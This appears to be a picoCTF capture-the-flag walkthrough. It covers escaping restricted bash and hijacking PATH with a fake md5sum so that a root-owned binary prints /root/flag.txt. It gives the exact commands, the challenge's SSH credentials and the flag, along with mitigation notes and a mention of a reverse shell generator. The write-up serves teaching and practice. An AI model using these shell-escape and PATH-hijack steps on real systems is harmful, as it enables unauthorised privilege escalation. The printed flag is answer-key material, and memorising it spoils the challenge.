Description
The second flaghasher binary lives in /usr/local/bin and still shells out to md5sum. Escape the restricted shell, drop a fake md5sum earlier in PATH, and cat the flag.
Setup
SSH to rescued-float.picoctf.net -p 49568 (password f3b61b38).
Confirm the login shell is restricted (try cd /tmp - it should fail), then type bash (not exec bash) to drop into an unrestricted shell while keeping the SSH session alive.
Check the common location first: ls -la /usr/local/bin/flaghasher. Falling back to a whole-FS find is slower and rarely necessary.
ssh -p 49568 ctf-player@rescued-float.picoctf.netecho $SHELLls -la /usr/local/bin/flaghasher # check the obvious location firstbash # drop into unrestricted bash (NOT exec bash)strings /usr/local/bin/flaghasher | grep md5sumcd /tmp && echo '/bin/cat /root/flag.txt' > md5sum && chmod +x md5sumexport PATH=.:$PATH && /usr/local/bin/flaghasherSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Escape rbash restrictions
Observationcd fails right after login, which is the signature of restricted bash. Spawn an unrestricted child shell before trying to change PATH or write files.The login shell is restricted (rbash blockscd,PATH=edits, and slashes in commands). Type plainbash- notexec bash- so the unrestricted shell runs as a child of your SSH session; if anything in it crashes, the SSH session keeps you connected. Thencd /tmpto land in a writable directory.bash# In rbash, this fails: cd /tmp # Escape (type bash, NOT exec bash): bash cd /tmpWhat didn't work first
Tried: Run
exec bashinstead of plainbashto escape rbash.exec bash replaces the current shell instead of spawning a child, so if the new session exits or crashes the SSH connection goes with it. Plain bash keeps rbash alive as the parent and survives an accidental exit. The result is the same otherwise, but the connection risk is real under time pressure.
Tried: Try
python3 -c 'import pty; pty.spawn("/bin/bash")'orvim :shellto escape rbash before checking whether plainbashis allowed.Those escapes matter when bash itself is blocked by the allowed-command list. Here it is not, so running it directly is simplest. The Python or vim route adds steps and may be blocked itself.
Learn more
Restricted bash (rbash) is a hardened shell mode that prevents users from changing directories with
cd, modifyingPATH, redirecting output, or running commands with slashes in them. System administrators use it to lock down SSH accounts to a narrow set of approved commands.The classic escape is to invoke a full shell binary directly. If
bashorshis accessible, running it without the-rflag drops you into an unrestricted session. Other escapes include launching a text editor (vim's:shellcommand), using scripting interpreters (python3 -c 'import pty; pty.spawn("/bin/bash")'), or abusing allowed programs that themselves spawn shells (likemanwith!/bin/sh).In real-world penetration testing, restricted shells come up frequently after gaining initial SSH access to a locked-down account. Escaping rbash is one of the first post-exploitation steps and is covered extensively in OSCP and other security certifications.
Step 2Hijack md5sum again
Observationstrings on flaghasher shows the same bare md5sum call as in hash-only-1. Drop a fake md5sum earlier in PATH and point it at cat.Same PATH-hijack technique as hash-only-1 - only the binary's path and the restricted login shell differ here. Write a one-linemd5sumthat cats/root/flag.txt, prove it works standalone before invoking flaghasher, and never include anymd5suminvocation inside the fake (the hijacked PATH would resolve back to itself and infinite-loop).bashecho '/bin/cat /root/flag.txt' > md5sumbashchmod +x md5sumbashexport PATH=.:$PATHbash./md5sum # validate: should print the flag standalonebash/usr/local/bin/flaghasherExpected output
picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_fc06...}What didn't work first
Tried: Write the fake
md5sumas#!/bin/sh md5sum /root/flag.txtto try to hash the flag directly.Calling md5sum from inside the fake script loops forever: flaghasher calls your script, your script calls md5sum, and PATH resolves that right back to your script. It recurses until it hits the process limit and dies on a fork error. Use an absolute path to something you have not hijacked.
Tried: Set PATH with
PATH=/tmp:$PATHand write the fake to/tmp/md5sumwhile still in rbash, before runningbashto escape.rbash makes PATH read-only, so the assignment fails outright. Export it after escaping to an unrestricted shell. And the current-directory approach works from any writable directory, /tmp included, once you are actually in one.
Learn more
PATH hijacking exploits how Unix-like systems resolve command names. When a program calls
system("md5sum")orexec("md5sum")without an absolute path, the OS searches each directory inPATHleft-to-right and runs the first match it finds.By prepending
.(the current directory) toPATHand dropping a malicious script namedmd5sumthere, you guarantee the OS runs your script instead of/usr/bin/md5sum. Your script can do anything the process's effective user can do - in this case, reading/root/flag.txt. This is the same attack that makessudounsafe when.appears in a root user'sPATH.Real-world mitigations include using absolute paths in all
system()andexec()calls, auditingPATHin privileged scripts with tools likeshellcheck, and applying the principle of least privilege so the target binary never runs with elevated permissions. CVE databases are full of PATH hijacking vulnerabilities in commercial software.
Interactive tools
- Reverse Shell GeneratorGenerate reverse shell payloads (bash, nc, python, perl, ruby, php, node, powershell) and matching listeners. Set host and port once, copy any variant.
Flag
Reveal flag
picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_fc06...}
Any equivalent fake `md5sum` works as long as it doesn't invoke another `md5sum` and `.` stays first in PATH.